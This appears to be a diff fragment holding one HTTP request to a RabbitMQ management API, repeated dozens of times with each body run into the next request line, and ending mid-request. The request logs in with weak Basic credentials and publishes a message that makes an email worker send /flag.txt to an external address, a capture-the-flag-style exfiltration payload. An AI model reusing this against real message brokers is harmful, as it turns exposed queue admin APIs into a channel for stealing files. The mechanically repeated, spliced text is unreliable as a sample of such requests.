+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
